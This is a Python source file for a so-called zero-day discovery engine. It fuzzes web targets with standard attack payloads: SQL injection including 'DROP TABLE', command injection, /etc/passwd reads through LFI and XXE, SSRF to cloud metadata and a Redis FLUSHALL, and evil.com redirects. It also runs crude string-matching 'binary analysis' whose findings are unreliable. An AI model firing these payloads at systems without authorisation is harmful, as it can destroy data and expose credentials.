engine-zero_day_engine.py

"""
SIHAI v5.0 — Zero-Day Discovery Engine
Automatic vulnerability discovery through fuzzing and binary analysis
"""

import os
import re
import sys
import json
import struct
import asyncio
import logging
import hashlib
import tempfile
import subprocess
from typing import Dict, List, Optional, Set
from pathlib import Path
from datetime import datetime

logger = logging.getLogger('SIHAI.ZeroDay')

class ZeroDayEngine:
    """Automatic zero-day vulnerability discovery"""
    
    def __init__(self):
        self.found_vulnerabilities = []
        self.targets_scanned = set()
        self.crash_analysis = {}
        self.exploit_templates = {}
        
    async def initialize(self):
        """Initialize zero-day engine"""
        logger.info("Zero-day discovery engine initialized")
        return True
    
    async def discover(self, target: str) -> Dict:
        """Discover zero-day vulnerabilities in target"""
        results = {
            'target': target,
            'start_time': datetime.now().isoformat(),
            'vulnerabilities': [],
            'crashes': [],
            'exploitables': []
        }
        
        # Determine target type
        if target.startswith('http://') or target.startswith('https://'):
            results['type'] = 'web'
            vulns = await self._fuzz_web(target)
        elif os.path.isfile(target):
            results['type'] = 'binary'
            vulns = await self._analyze_binary(target)
        elif os.path.isdir(target):
            results['type'] = 'directory'
            vulns = await self._scan_directory(target)
        else:
            results['type'] = 'unknown'
            vulns = []
        
        results['vulnerabilities'] = vulns
        results['end_time'] = datetime.now().isoformat()
        
        # Add to found vulnerabilities
        self.found_vulnerabilities.extend(vulns)
        
        return results
    
    async def _fuzz_web(self, url: str) -> List[Dict]:
        """Fuzz web application for vulnerabilities"""
        vulnerabilities = []
        
        # Test common vulnerability patterns
        fuzz_tests = [
            ('SQL Injection', self._test_sqli, [
                "' OR '1'='1",
                "1' UNION SELECT * FROM users--",
                "1; DROP TABLE users--",
                "' WAITFOR DELAY '0:0:5'--",
                "1 AND SLEEP(5)--"
            ]),
            ('XSS', self._test_xss, [
                "<script>alert(1)</script>",
                "<img src=x onerror=alert(1)>",
                "javascript:alert(1)",
                "\"><script>alert(1)</script>",
                "';alert(1);//"
            ]),
            ('Command Injection', self._test_cmd_injection, [
                "; id",
                "| id",
                "`id`",
                "$(id)",
                "& id &"
            ]),
            ('LFI/RFI', self._test_lfi, [
                "../../../etc/passwd",
                "....//....//....//etc/passwd",
                "php://filter/convert.base64-encode/resource=index.php",
                "file:///etc/passwd"
            ]),
            ('SSRF', self._test_ssrf, [
                "http://127.0.0.1:80",
                "http://169.254.169.254/latest/meta-data/",
                "file:///etc/passwd",
                "gopher://localhost:6379/_FLUSHALL"
            ]),
            ('XXE', self._test_xxe, [
                '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]><root>&test;</root>'
            ]),
            ('Deserialization', self._test_deserialization, [
                'O:1:"A":1:{s:1:"a";s:1:"b";}',
                'a:1:{i:0;O:1:"A":1:{s:1:"a";s:1:"b";}}'
            ]),
            ('Open Redirect', self._test_open_redirect, [
                "//evil.com",
                "https://evil.com",
                "//evil.com@good.com",
                "/\\evil.com"
            ]),
            ('IDOR', self._test_idor, [
                '/api/users/1',
                '/api/users/2',
                '/api/users/3',
                '/api/users/100'
            ]),
            ('Race Condition', self._test_race_condition, [
                'concurrent_requests'
            ])
        ]
        
        for vuln_name, test_func, payloads in fuzz_tests:
            try:
                result = await test_func(url, payloads)
                if result:
                    vulnerabilities.append(result)
                    logger.warning(f"Potential {vuln_name} found: {url}")
            except Exception as e:
                logger.debug(f"Test {vuln_name} failed: {e}")
        
        return vulnerabilities
    
    async def _test_sqli(self, url: str, payloads: List[str]) -> Optional[Dict]:
        """Test for SQL injection"""
        import requests
        
        for payload in payloads:
            try:
                # Test GET parameters
                resp = requests.get(url, params={'id': payload, 'q': payload}, timeout=5)
                
                # Check for SQL errors
                sql_errors = [
                    'SQL syntax', 'MySQL', 'ORA-', 'PostgreSQL', 'SQLite',
                    'sqlite', 'mysql_fetch', 'pg_query', 'ODBC',
                    'Microsoft OLE DB', 'Unclosed quotation mark'
                ]
                
                for error in sql_errors:
                    if error.lower() in resp.text.lower():
                        return {
                            'type': 'SQL Injection',
                            'url': url,
                            'payload': payload,
                            'evidence': error,
                            'confidence': 'high'
                        }
                
                # Check for time-based
                if 'SLEEP' in payload or 'WAITFOR' in payload:
                    if resp.elapsed.total_seconds() > 4:
                        return {
                            'type': 'SQL Injection (Time-based)',
                            'url': url,
                            'payload': payload,
                            'response_time': resp.elapsed.total_seconds(),
                            'confidence': 'medium'
                        }
                        
            except:
                pass
        
        return None
    
    async def _test_xss(self, url: str, payloads: List[str]) -> Optional[Dict]:
        """Test for XSS"""
        import requests
        
        for payload in payloads:
            try:
                resp = requests.get(url, params={'q': payload, 'search': payload}, timeout=5)
                
                # Check if payload is reflected
                if payload in resp.text:
                    return {
                        'type': 'Cross-Site Scripting (XSS)',
                        'url': url,
                        'payload': payload,
                        'reflected': True,
                        'confidence': 'high'
                    }
            except:
                pass
        
        return None
    
    async def _test_cmd_injection(self, url: str, payloads: List[str]) -> Optional[Dict]:
        """Test for command injection"""
        import requests
        
        for payload in payloads:
            try:
                resp = requests.get(url, params={'cmd': payload, 'command': payload}, timeout=5)
                
                # Check for command output
                cmd_indicators = ['uid=', 'gid=', 'root:', 'bin/', 'etc/', 'home/']
                for indicator in cmd_indicators:
                    if indicator in resp.text:
                        return {
                            'type': 'Command Injection',
                            'url': url,
                            'payload': payload,
                            'evidence': indicator,
                            'confidence': 'high'
                        }
            except:
                pass
        
        return None
    
    async def _test_lfi(self, url: str, payloads: List[str]) -> Optional[Dict]:
        """Test for Local File Inclusion"""
        import requests
        
        for payload in payloads:
            try:
                resp = requests.get(url, params={'file': payload, 'page': payload}, timeout=5)
                
                # Check for file contents
                lfi_indicators = ['root:', 'bin/bash', 'daemon:', '/home/', '/etc/']
                for indicator in lfi_indicators:
                    if indicator in resp.text:
                        return {
                            'type': 'Local File Inclusion (LFI)',
                            'url': url,
                            'payload': payload,
                            'evidence': indicator,
                            'confidence': 'high'
                        }
            except:
                pass
        
        return None
    
    async def _test_ssrf(self, url: str, payloads: List[str]) -> Optional[Dict]:
        """Test for Server-Side Request Forgery"""
        import requests
        
        for payload in payloads:
            try:
                resp = requests.get(url, params={'url': payload, 'dest': payload}, timeout=5)
                
                # Check for internal service responses
                ssrf_indicators = ['meta-data', 'iam', 'localhost', 'private-ip']
                for indicator in ssrf_indicators:
                    if indicator.lower() in resp.text.lower():
                        return {
                            'type': 'Server-Side Request Forgery (SSRF)',
                            'url': url,
                            'payload': payload,
                            'evidence': indicator,
                            'confidence': 'high'
                        }
            except:
                pass
        
        return None
    
    async def _test_xxe(self, url: str, payloads: List[str]) -> Optional[Dict]:
        """Test for XML External Entity"""
        import requests
        
        for payload in payloads:
            try:
                resp = requests.post(url, data=payload, 
                                    headers={'Content-Type': 'application/xml'},
                                    timeout=5)
                
                if 'root:' in resp.text or 'bin/bash' in resp.text:
                    return {
                        'type': 'XML External Entity (XXE)',
                        'url': url,
                        'payload': payload,
                        'evidence': 'File content in response',
                        'confidence': 'high'
                    }
            except:
                pass
        
        return None
    
    async def _test_deserialization(self, url: str, payloads: List[str]) -> Optional[Dict]:
        """Test for insecure deserialization"""
        import requests
        
        for payload in payloads:
            try:
                resp = requests.post(url, data=payload,
                                    headers={'Content-Type': 'application/x-www-form-urlencoded'},
                                    timeout=5)
                
                if resp.status_code == 500 or 'error' in resp.text.lower():
                    return {
                        'type': 'Insecure Deserialization',
                        'url': url,
                        'payload': payload,
                        'evidence': f'HTTP {resp.status_code}',
                        'confidence': 'medium'
                    }
            except:
                pass
        
        return None
    
    async def _test_open_redirect(self, url: str, payloads: List[str]) -> Optional[Dict]:
        """Test for open redirect"""
        import requests
        
        for payload in payloads:
            try:
                resp = requests.get(url, params={'redirect': payload, 'url': payload},
                                   allow_redirects=False, timeout=5)
                
                location = resp.headers.get('Location', '')
                if 'evil.com' in location or '//' in location:
                    return {
                        'type': 'Open Redirect',
                        'url': url,
                        'payload': payload,
                        'redirect_to': location,
                        'confidence': 'high'
                    }
            except:
                pass
        
        return None
    
    async def _test_idor(self, url: str, payloads: List[str]) -> Optional[Dict]:
        """Test for Insecure Direct Object Reference"""
        import requests
        
        results = []
        for payload in payloads:
            try:
                resp = requests.get(url.rstrip('/') + payload, timeout=5)
                if resp.status_code == 200 and len(resp.text) > 100:
                    results.append({'endpoint': payload, 'status': resp.status_code})
            except:
                pass
        
        if len(results) > 1:
            return {
                'type': 'Insecure Direct Object Reference (IDOR)',
                'url': url,
                'accessible_endpoints': results,
                'confidence': 'medium'
            }
        
        return None
    
    async def _test_race_condition(self, url: str, payloads: List[str]) -> Optional[Dict]:
        """Test for race conditions"""
        import requests
        import concurrent.futures
        
        try:
            with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
                futures = []
                for _ in range(50):
                    futures.append(executor.submit(requests.get, url, timeout=5))
                
                results = [f.result() for f in concurrent.futures.as_completed(futures)]
                
                # Check for inconsistent responses
                statuses = set(r.status_code for r in results)
                if len(statuses) > 1:
                    return {
                        'type': 'Race Condition',
                        'url': url,
                        'concurrent_requests': 50,
                        'different_responses': list(statuses),
                        'confidence': 'medium'
                    }
        except:
            pass
        
        return None
    
    async def _analyze_binary(self, binary_path: str) -> List[Dict]:
        """Analyze binary for vulnerabilities"""
        vulnerabilities = []
        
        # Check file type
        file_result = subprocess.run(['file', binary_path], capture_output=True, text=True)
        file_type = file_result.stdout
        
        # Check for common vulnerability patterns
        checks = [
            ('Stack Buffer Overflow', self._check_stack_overflow, binary_path),
            ('Heap Overflow', self._check_heap_overflow, binary_path),
            ('Format String', self._check_format_string, binary_path),
            ('Use-After-Free', self._check_use_after_free, binary_path),
            ('Integer Overflow', self._check_integer_overflow, binary_path),
            ('Memory Leak', self._check_memory_leak, binary_path),
        ]
        
        for vuln_name, check_func, path in checks:
            try:
                result = check_func(path)
                if result:
                    vulnerabilities.append(result)
            except Exception as e:
                logger.debug(f"Binary check {vuln_name} failed: {e}")
        
        return vulnerabilities
    
    def _check_stack_overflow(self, binary_path: str) -> Optional[Dict]:
        """Check for stack buffer overflow vulnerabilities"""
        # Look for dangerous functions
        result = subprocess.run(
            ['strings', binary_path],
            capture_output=True, text=True
        )
        
        dangerous_funcs = ['strcpy', 'strcat', 'sprintf', 'gets', 'scanf', 'memcpy']
        found = [f for f in dangerous_funcs if f in result.stdout]
        
        if found:
            return {
                'type': 'Stack Buffer Overflow',
                'binary': binary_path,
                'dangerous_functions': found,
                'confidence': 'medium'
            }
        
        return None
    
    def _check_heap_overflow(self, binary_path: str) -> Optional[Dict]:
        """Check for heap overflow vulnerabilities"""
        result = subprocess.run(
            ['strings', binary_path],
            capture_output=True, text=True
        )
        
        heap_funcs = ['malloc', 'calloc', 'realloc', 'free', 'new', 'delete']
        found = [f for f in heap_funcs if f in result.stdout]
        
        if found:
            return {
                'type': 'Heap Overflow (potential)',
                'binary': binary_path,
                'heap_functions': found,
                'confidence': 'low'
            }
        
        return None
    
    def _check_format_string(self, binary_path: str) -> Optional[Dict]:
        """Check for format string vulnerabilities"""
        result = subprocess.run(
            ['objdump', '-d', binary_path],
            capture_output=True, text=True
        )
        
        # Look for printf with user-controlled format string
        if 'printf' in result.stdout and 'scanf' in result.stdout:
            return {
                'type': 'Format String (potential)',
                'binary': binary_path,
                'confidence': 'low'
            }
        
        return None
    
    def _check_use_after_free(self, binary_path: str) -> Optional[Dict]:
        """Check for use-after-free vulnerabilities"""
        result = subprocess.run(
            ['strings', binary_path],
            capture_output=True, text=True
        )
        
        # Look for patterns that suggest UAF
        if 'free' in result.stdout and 'use' in result.stdout:
            return {
                'type': 'Use-After-Free (potential)',
                'binary': binary_path,
                'confidence': 'low'
            }
        
        return None
    
    def _check_integer_overflow(self, binary_path: str) -> Optional[Dict]:
        """Check for integer overflow vulnerabilities"""
        result = subprocess.run(
            ['objdump', '-d', binary_path],
            capture_output=True, text=True
        )
        
        # Look for arithmetic operations without bounds checking
        if 'add' in result.stdout and 'sub' in result.stdout:
            return {
                'type': 'Integer Overflow (potential)',
                'binary': binary_path,
                'confidence': 'low'
            }
        
        return None
    
    def _check_memory_leak(self, binary_path: str) -> Optional[Dict]:
        """Check for memory leaks"""
        result = subprocess.run(
            ['strings', binary_path],
            capture_output=True, text=True
        )
        
        alloc_count = result.stdout.count('malloc') + result.stdout.count('new')
        free_count = result.stdout.count('free') + result.stdout.count('delete')
        
        if alloc_count > free_count + 5:
            return {
                'type': 'Memory Leak (potential)',
                'binary': binary_path,
                'allocations': alloc_count,
                'frees': free_count,
                'confidence': 'medium'
            }
        
        return None
    
    async def _scan_directory(self, directory: str) -> List[Dict]:
        """Scan directory for vulnerable files"""
        vulnerabilities = []
        
        for root, dirs, files in os.walk(directory):
            for file in files:
                filepath = os.path.join(root, file)
                
                # Check file extension
                ext = os.path.splitext(file)[1].lower()
                
                if ext in ('.php', '.asp', '.aspx', '.jsp', '.py', '.rb', '.pl'):
                    # Web application file
                    vulns = await self._analyze_web_file(filepath)
                    vulnerabilities.extend(vulns)
                
                elif ext in ('.exe', '.elf', '.so', '.dll', '.bin'):
                    # Binary file
                    vulns = await self._analyze_binary(filepath)
                    vulnerabilities.extend(vulns)
        
        return vulnerabilities
    
    async def _analyze_web_file(self, filepath: str) -> List[Dict]:
        """Analyze web application source file"""
        vulnerabilities = []
        
        try:
            with open(filepath, 'r', errors='ignore') as f:
                content = f.read()
            
            # Check for dangerous functions
            dangerous_patterns = [
                ('SQL Injection', r'mysql_query\s*\(.*\$\_'),
                ('SQL Injection', r'mysqli_query\s*\(.*\$\_'),
                ('SQL Injection', r'pg_query\s*\(.*\$\_'),
                ('Command Injection', r'(system|exec|shell_exec|passthru|popen)\s*\(.*\$\_'),
                ('Command Injection', r'eval\s*\(.*\$\_'),
                ('Command Injection', r'assert\s*\(.*\$\_'),
                ('File Inclusion', r'(include|require)\s*\(.*\$\_'),
                ('File Inclusion', r'file_get_contents\s*\(.*\$\_'),
                ('XSS', r'echo\s+.*\$\_(GET|POST|REQUEST)'),
                ('XSS', r'print\s+.*\$\_(GET|POST|REQUEST)'),
                ('Unsafe Deserialization', r'unserialize\s*\(.*\$\_'),
                ('Unsafe Deserialization', r'json_decode\s*\(.*\$\_'),
            ]
            
            for vuln_name, pattern in dangerous_patterns:
                if re.search(pattern, content, re.IGNORECASE):
                    vulnerabilities.append({
                        'type': vuln_name,
                        'file': filepath,
                        'pattern': pattern,
                        'confidence': 'high'
                    })
            
        except Exception as e:
            logger.debug(f"Web file analysis failed for {filepath}: {e}")
        
        return vulnerabilities